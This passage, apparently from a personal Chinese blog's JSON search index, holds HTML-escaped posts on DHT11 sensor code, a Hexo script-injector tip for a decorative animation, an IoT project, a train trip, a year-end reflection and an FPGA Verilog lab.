punctuation\"\u003e;\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e一共5个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//temp:温度值(范围:0~50°)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//humi:湿度值(范围:20%~90%)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回值:0,正常;1,读取失败\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Data\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Rst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//读取40位数据\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e)不过为了显示的更精确可以小数位也传过去。\u003c/p\u003e\u003ch3 id=\"完成\"\u003e\u003ca href=\"#完成\" class=\"headerlink\" title=\"完成\"\u003e\u003c/a\u003e完成\u003c/h3\u003e\u003cp\u003e到此,完成了串口通信,OLED屏幕驱动,温湿度数据的获取。之后在OLED屏幕上的显示布局可以自己设计~ \u003c/p\u003e","url":"https://blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"#6063-x2F-6064-公益慢火车运转\" class=\"headerlink\" title=\"6063\u0026#x2F;6064 公益慢火车运转\"\u003e\u003c/a\u003e6063\u0026#x2F;6064 公益慢火车运转\u003chr /\u003e\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"#6063-x2F-6064-公益慢火车运转\" class=\"headerlink\" title=\"6063\u0026#x2F;6064 公益慢火车运转\"\u003e\u003c/a\u003e6063\u0026#x2F;6064 公益慢火车运转\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e群山如森海,慢车即航船。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这是2022年8月初的事情了,那会正值暑假,因为防控原因我在学校呆到7月底才回家,顺便去运转了一下这趟公益慢火车。当时运转时这趟车还是非空调车,现在已经更换车底,成为空调车了。刚好赶在换车底前完成了这一趟。全程下来,还是很有意思的。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e不过人是个懒狗,拖到这会才想起来写。后面想起来再更新。\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"#Hexo-注入器实践\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerli\u003chr /\u003e\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"#Hexo-注入器实践\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e我博客首页飘的那个樱花看着花里胡哨,但是非常占用资源……而且因为是直接引进来的 \u003ccode\u003ejs\u003c/code\u003e ,所以每个页面都有这玩意,但是毕竟花里胡哨,也就对性能问题睁一只眼闭一只眼,刚才翻别人博客突然发现了注入器这个神奇玩意,于是问题解决了:只在首页显示樱花飘落的动画。\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://gishai.top/blog/posts/1563abd8.html\"\u003e基于hexo的fluid主题的魔改汇总 - GISHAI\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/advance/#hexo-%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81\"\u003e进阶用法 | Hexo Fluid 用户手册 (fluid-dev.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"具体实践\"\u003e\u003ca href=\"#具体实践\" class=\"headerlink\" title=\"具体实践\"\u003e\u003c/a\u003e具体实践\u003c/h2\u003e\u003cp\u003e在 \u003cstrong\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/\"\u003eHexo Fluid 用户手册\u003c/a\u003e\u003c/strong\u003e 中说的比较清楚了:注入器可以将 HTML 片段注入生成页面的 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 节点中,而且可以选择注入的页面类型(比如我首页的樱花我可以选择只注入首页)。\u003c/p\u003e\u003cp\u003e编写注入代码,需要在博客的根目录下创建 \u003ccode\u003escripts\u003c/code\u003e 文件夹,然后在里面任意命名创建一个 js 文件即可。\u003c/p\u003e\u003cp\u003e我创建了一个 \u003ccode\u003e/Hexo/scripts/yinghua.js\u003c/code\u003e 了一个文件,内容为:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003ehexo\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eextend\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einjector\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eregister\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string\"\u003e'body_end'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'\u0026lt;script src=\"//must.best/assets/js/flower.js\"\u003e\u0026lt;/script\u003e'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'home'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e上述代码会在生成的页面 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 注入加载 \u003ccode\u003e//must.best/assets/js/flower.js\u003c/code\u003e 的代码。\u003c/p\u003e\u003cp\u003e这里发挥作用的是 \u003cstrong\u003e\u003ccode\u003eregister\u003c/code\u003e\u003c/strong\u003e 函数。\u003c/p\u003e\u003ch3 id=\"register-函数\"\u003e\u003ca href=\"#register-函数\" class=\"headerlink\" title=\"register 函数\"\u003e\u003c/a\u003e\u003ccode\u003eregister\u003c/code\u003e 函数\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e 函数可接受三个参数。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第一个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第一个参数是\u003cstrong\u003e代码片段注入的位置\u003c/strong\u003e,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ehead_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 之后(默认)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehead_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/head\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 之后\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第二个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第二个参数是注入的片段,可以是字符串,也可以是一个返回值为字符串的函数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第三个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第三个参数是注入的页面类型,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edefault\u003c/code\u003e: 注入到每个页面(默认值)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehome\u003c/code\u003e: 只注入到主页(\u003ccode\u003eis_home()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epost\u003c/code\u003e: 只注入到文章页面(\u003ccode\u003eis_post()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epage\u003c/code\u003e: 只注入到独立页面(\u003ccode\u003eis_page()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003earchive\u003c/code\u003e: 只注入到归档页面(\u003ccode\u003eis_archive()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecategory\u003c/code\u003e: 只注入到分类页面(\u003ccode\u003eis_category()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003etag\u003c/code\u003e: 只注入到标签页面(\u003ccode\u003eis_tag()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e或是其他自定义 layout 名称,例如在Fluid 主题中 \u003ccode\u003eabout\u003c/code\u003e 对应关于页、\u003ccode\u003elinks\u003c/code\u003e 对应友联页\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如上面我要樱花飘落的动画只在首页显示,所以选择 \u003ccode\u003ehome\u003c/code\u003e 这个参数。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e","url":"https://blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"#【有方杯总结】一个物联网小项目\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"\u003chr /\u003e\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"#【有方杯总结】一个物联网小项目\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e这次的项目其实是比较简单的。相对于大二那会做的广和通物联网项目来说,这次的项目算是比较有条理的做了下来,能理清楚各部分的关系,在编写的过程中不断学习实践,各类传感器的整合,数据上报,云端数据的流转……收获很多。\u003c/p\u003e\u003cp\u003e不过总的来说,这个项目是单片机收集了一些传感器的数据,然后通过 \u003ccode\u003e有方N58\u003c/code\u003e 通信模块上报阿里云物联网平台,进而展示在前端页面上。\u003c/p\u003e\u003cp\u003e想想之前做广和通的时候没搞清楚这些关系,先是在服务器上运行了一个 \u003ccode\u003ec-socket\u003c/code\u003e 脚本,然后用广和通物联网模块去连接这个脚本,之后脚本将接收到的数据写入文件。网页前端是不断访问这个文件进行页面展示数据的更改。走了很多弯路,而且很不稳定,每次断掉之后得等服务器上那个端口空闲之后才能再次运行脚本……这次使用了 \u003ccode\u003ewebsocket\u003c/code\u003e 与阿里云物联网平台,可以说是又稳又快,用 \u003ccode\u003ejs\u003c/code\u003e 处理数据也方便的多。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e用 \u003ccode\u003eC语言\u003c/code\u003e 处理字符串还是太折磨人了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e大概流程:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/2.png\"\u003e\u003c/p\u003e\u003cp\u003e前端演示地址:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://neoway.ksfu.top/\"\u003ehttp://neoway.ksfu.top/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前端效果图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/1.jpg\"\u003e\u003c/p\u003e\u003chr\u003e\u003cp\u003e具体内容的起来再写~\u003c/p\u003e","url":"https://blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"#2022-年终总结\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/\u003chr /\u003e\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"#2022-年终总结\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e奥德赛好长啊\u003c/del\u003e\u003c/p\u003e\u003cp\u003e去年还是太逆天了,不过终究是过来了。\u003c!--今年要准备考研了。--\u003e今年到目前来说还不错,追了很多场演唱会,也和同学组多参加了一些小比赛。不过压力也感觉大了起来,感觉自己现在也没啥技能,简历上没啥东西能写。学业上也不咋样。女朋友必然也是没有的(也没认识几个女生就是说。体重只能说保持的还不错。海浪会来,希望这学期的生活能冲淡去年的影响,等这学期大三总结和2022总结一起写吧。\u003c/p\u003e","url":"https://blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"#基于FPGA的ASK信号生成及测量分析技术\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/\u003chr /\u003e\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"#基于FPGA的ASK信号生成及测量分析技术\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/h1\u003e\u003cp\u003e) 随机信号实验选到了这个,就当学 \u003ccode\u003eVerilog\u003c/code\u003e 了。\u003c/p\u003e\u003cp\u003e(以下内容围绕西电通院随机信号实验:《基于FPGA的ASK信号生成及测量分析技术》展开。\u003c/p\u003e\u003ch2 id=\"模块框图\"\u003e\u003ca href=\"#模块框图\" class=\"headerlink\" title=\"模块框图\"\u003e\u003c/a\u003e模块框图\u003c/h2\u003e\u003cp\u003e2ASK调制电路组成框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%B0%E5%BD%95.png\" /\u003e\u003cp\u003e2ASK调制的FPGA程序框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%A1%86%E5%9B%BE.png\" /\u003e\u003ch2 id=\"模块分解\"\u003e\u003ca href=\"#模块分解\" class=\"headerlink\" title=\"模块分解\"\u003e\u003c/a\u003e模块分解\u003c/h2\u003e\u003cp\u003e梳理一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e分频模块\u003c/li\u003e\u003cli\u003e载波产生模块\u003cul\u003e\u003cli\u003e八进制计数器\u003c/li\u003e\u003cli\u003eROM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003em序列产生模块\u003c/li\u003e\u003cli\u003e键控开关\u003c/li\u003e\u003cli\u003eDAC输出模块(给了)\u003c/li\u003e\u003cli\u003e拓展输出口(给了)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e所以需要编写5个模块。\u003c/p\u003e\u003ch3 id=\"1-分频模块设计\"\u003e\u003ca href=\"#1-分频模块设计\" class=\"headerlink\" title=\"1. 分频模块设计\"\u003e\u003c/a\u003e1. 分频模块设计\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2.1.1按原理2.1节设计分频器a(4分频、6分频、10分频等)将系统时钟sys_clk分频,作为载波产生模块的时钟,则载波频率为sys_clk\u0026#x2F;(分频值a*一个载波周期的存储点数n)(Hz)。(sys_clk\u0026#x3D;26MHz)\u003c/p\u003e\u003cp\u003e2.1.2按原理2.1节设计分频器b(分频值应设置为上步中a*n的整数倍)将系统时钟分频,作为m序列产生模块的时钟,则基带码元速率为sys_clk\u0026#x2F;b(bit\u0026#x2F;s)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以知道要设计两个分频模块,其中主频为 \u003cstrong\u003e26MHz\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e分频模块端口示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97.png\" style=\"zoom: 50%;\" /\u003e\u003cblockquote\u003e\u003cp\u003eclk端为系统时钟信号输入,从out8、out16、out256可分别得到系统时钟的8分频、16分频和256分频信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经历了一晚上的折磨,我终于悟出了:\u003cstrong\u003e所谓X分频,就是把时钟原来每一下变一次,变成现在是每X下变一次。\u003c/strong\u003e \u003cdel\u003e(有时候很明显的事情就是转不过来弯\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以就可以顺着这个思路编写 \u003ccode\u003efenpin.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e fenpin \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 所谓X分频,就是原来时钟是每一下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 现在是每X下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// lb(256) = 8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token 